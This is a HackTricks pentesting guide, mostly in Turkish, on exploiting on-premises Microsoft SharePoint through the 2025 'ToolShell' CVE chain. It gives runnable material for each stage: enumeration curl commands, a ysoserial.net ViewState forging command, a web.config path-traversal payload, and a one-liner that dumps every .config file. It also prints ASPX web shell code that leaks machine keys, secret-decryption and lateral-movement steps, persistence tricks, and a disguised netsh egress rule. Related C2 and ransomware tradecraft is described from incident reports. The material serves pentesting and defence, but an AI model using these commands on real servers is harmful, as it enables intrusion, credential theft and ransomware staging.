Microsoft SharePoint – Pentesting & Exploitation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Microsoft SharePoint (on-premises) ASP.NET/IIS üzerine inşa edilmiştir. Bu nedenle klasik web attack surface’ın çoğu (ViewState, Web.Config, web shells, vb.) mevcuttur, ancak SharePoint yüzlerce özel ASPX sayfası ve web servisleriyle birlikte gelir; bu da açıkta kalan attack surface’ı önemli ölçüde genişletir. Bu sayfa SharePoint ortamlarında enumerate, exploit ve persist etmeye yönelik pratik taktikleri toplar; özellikle Unit42 tarafından açıklanan 2025 exploit chain’e (CVE-2025-49704/49706/53770/53771) vurgu yapar.
1. Hızlı enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> sayesinde sayfaya rastgele Server-Side Include kodu enjekte edilebiliyor; bu kod daha sonra ASP.NET tarafından derleniyor. Bir saldırgan Process.Start() çalıştıran C# gömebilir ve kötü amaçlı bir ViewState bırakabilir.
2.2 CVE-2025-49706 – Improper Authentication Bypass
Aynı sayfa site bağlamını belirlemek için X-Forms_BaseUrl başlığına güveniyor. Bunu /_layouts/15/’e yönlendirerek kök sitede uygulanan MFA/SSO kimliksiz olarak atlatılabilir.
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
Bir saldırgan ToolPane.aspx içinde bir gadget kontrolünü ele geçirdikten sonra .NET’in w3wp.exe içinde serileştirmeyi tetikleyen ve kod çalıştırmaya yol açan imzasız (veya MAC-only) bir __VIEWSTATE değeri gönderebilir.
İmza etkinse, herhangi bir web.config’ten ValidationKey/DecryptionKey çalın (bkz. 2.4) ve payload’u ysoserial.net veya ysodom ile sahteleyin:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
Kötü amaçlı oluşturulmuş Source parametresini ToolPane.aspx’e (ör. ../../../../web.config) göndermek hedeflenen dosyayı döndürür ve aşağıdaki bilgilerin sızmasına izin verir:
<machineKey validationKey="…" decryptionKey="…">➜ ViewState / ASPXAUTH cookie’lerini sahtelemek için kullanılabilir- connection strings ve sırlar.
2.5 ToolShell workflow observed in Ink Dragon intrusions
Check Point, Microsoft düzeltmeleri göndermeden aylar önce Ink Dragon’un ToolShell zincirini nasıl operasyonelleştirdiğini haritaladı:
- Header spoofing for auth bypass – aktör,
/_layouts/15/ToolPane.aspx’eReferer: https://<victim>/_layouts/15/ve sahte birX-Forms_BaseUrlile POST gönderir. Bu header’lar SharePoint’i isteğin güvenilir bir layout’tan geldiğine ikna eder ve front-door authentication’ı tamamen atlar (CVE-2025-49706/CVE-2025-53771). - Serialized gadget in the same request – isteğin gövdesi, saldırgan kontrollü ViewState/ToolPart verisini içerir ve bu veri zafiyetli sunucu tarafı formatter’ına ulaşır (CVE-2025-49704/CVE-2025-53770). Payload genellikle diske hiç yazmadan
w3wp.exeiçinde çalışan bir ysoserial.net zinciridir. - Internet-scale scanning – Temmuz 2025 telemetrisi, her erişilebilir
/_layouts/15/ToolPane.aspxuç noktasını tarayıp sızdırılmış<machineKey>çiftlerinden oluşan bir sözlüğü yeniden oynattıklarını gösteriyor. Dokümantasyondan örnek birvalidationKeykopyalamış herhangi bir site, diğer tüm yamaları uygulanmış olsa bile ele geçirilebilir (imzalama akışı için ViewState sayfasına bakın). - Immediate staging – başarılı sömürü, şu işleri yapan bir loader veya PowerShell stager bırakır: (1) her
web.config’i döker, (2) şartlı erişim için bir ASPX webshell yerleştirir ve (3) IIS worker’dan kaçmak için yerel bir Potato privesc planlar.
3. Post-exploitation vahşi ortamda gözlemlenen reçeteleri
3.1 Exfiltrate every .config file (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Oluşan debug_dev.js anonim olarak indirilebilir ve tüm hassas yapılandırmayı içerir.
3.2 Base64-encoded ASPX web shell (variation-2) dağıtımı
powershell.exe -EncodedCommand <base64>
Dekodlanmış payload örneği (kısaltılmış):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Yazıldı:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.
3.3 Obfuscated variant (variation-3)
Same shell but:
- dropped under
...\15\TEMPLATE\LAYOUTS\ - variable names reduced to single letters
Thread.Sleep(<ms>)added for sandbox-evasion & timing-based AV bypass.
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)
Recent incident-response investigations (Unit42 “Project AK47”) show how attackers leverage the ToolShell chain after initial RCE to deploy a dual-channel C2 implant and ransomware in SharePoint environments:
AK47C2 – dnsclient variant
- Hard-coded DNS server:
10.7.66.10communicating with authoritative domainupdate.updatemicfosoft.com. - Messages are JSON objects XOR-encrypted with the static key
VHBD@H, hex-encoded and embedded as sub-domain labels.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Long queries are chunked and prefixed with
s, then re-assembled server-side. - Server replies in TXT records carrying the same XOR/hex scheme:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Version 202504 introduced a simplified format
<COMMAND>::<SESSION_KEY>and chunk markers1,2,a.
AK47C2 – httpclient variant
- Re-uses the exact JSON & XOR routine but sends the hex blob in the HTTP POST body via
libcurl(CURLOPT_POSTFIELDS, etc.). - Same task/result workflow allowing:
- Arbitrary shell command execution.
- Dynamic sleep interval and kill-switch instructions.
X2ANYLOCK ransomware
- 64-bit C++ payload loaded through DLL side-loading (see below).
- Employs AES-CBC for file data + RSA-2048 to wrap the AES key, then appends the extension
.x2anylock. - Recursively encrypts local drives and discovered SMB shares; skips system paths.
- Drops clear-text note
How to decrypt my data.txtembedding a static Tox ID for negotiations. - Contains an internal kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- Attacker writes
dllhijacked.dll/My7zdllhijacked.dllnext to a legitimate7z.exe. - SharePoint-spawned
w3wp.exelaunches7z.exe, which loads the malicious DLL because of Windows search order, invoking the ransomware entrypoint in memory. - A separate LockBit loader observed (
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll) decrypts shell-code and performs DLL hollowing intod3dl1.dllto run LockBit 3.0.
[!INFO] The same static Tox ID found in X2ANYLOCK appears in leaked LockBit databases, suggesting affiliate overlap.
3.5 Turning SharePoint loot into lateral movement
- Decrypt every protected section – once seated on the web tier, abuse
aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(or-px "appSettings") to dump the clear-text secrets hiding behind<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon repeatedly harvested SQL logins, SMTP relays and custom service credentials this way. - Recycle app-pool accounts across farms – many enterprises reuse the same domain account for
IIS APPPOOL\SharePointon every front-end. After decryptingidentity impersonate="..."blocks or readingApplicationHost.config, test the credential over SMB/RDP/WinRM to every sibling server. In multiple incidents the account was also a local administrator, allowingpsexec,sc create, or scheduled-task staging without triggering password sprays. - Abuse leaked
<machineKey>values internally – even if the internet perimeter gets patched, reusing the samevalidationKey/decryptionKeyallows lateral ViewState exploitation between internal SharePoint zones that trust each other.
3.6 Persistence patterns witnessed in 2025 intrusions
- Scheduled tasks – a one-shot task named
SYSCHECK(or other health-themed names) is created with/ru SYSTEM /sc once /st <hh:mm>to bootstrap the next-stage loader (commonly a renamedconhost.exe). Because it is run-once, telemetry often misses it unless historic task XML is preserved. - Masqueraded services – services such as
WindowsTempUpdate,WaaSMaintainer, orMicrosoftTelemetryHostare installed viasc createpointing at the sideloading triad directory. The binaries keep their original AMD/Realtek/NVIDIA signatures but are renamed to match Windows components; comparing the on-disk name with theOriginalFileNamePE field is a quick integrity check.
3.7 Host firewall downgrades for relay traffic
Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
Çünkü kural yerel olarak oluşturulduğu için (GPO aracılığıyla değil) ve meşru Defender ikili dosyasını program= olarak kullandığı için çoğu SOC baselines bunu görmezden gelir; ancak bu yine de Any ➜ Any egress açar.
İlgili taktikler
- IIS post-exploitation & web.config abuse:
IIS - Internet Information Services
Referanslar
- Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC – ToolShell exploit chain
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory – CVE-2025-53770 / 53771
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


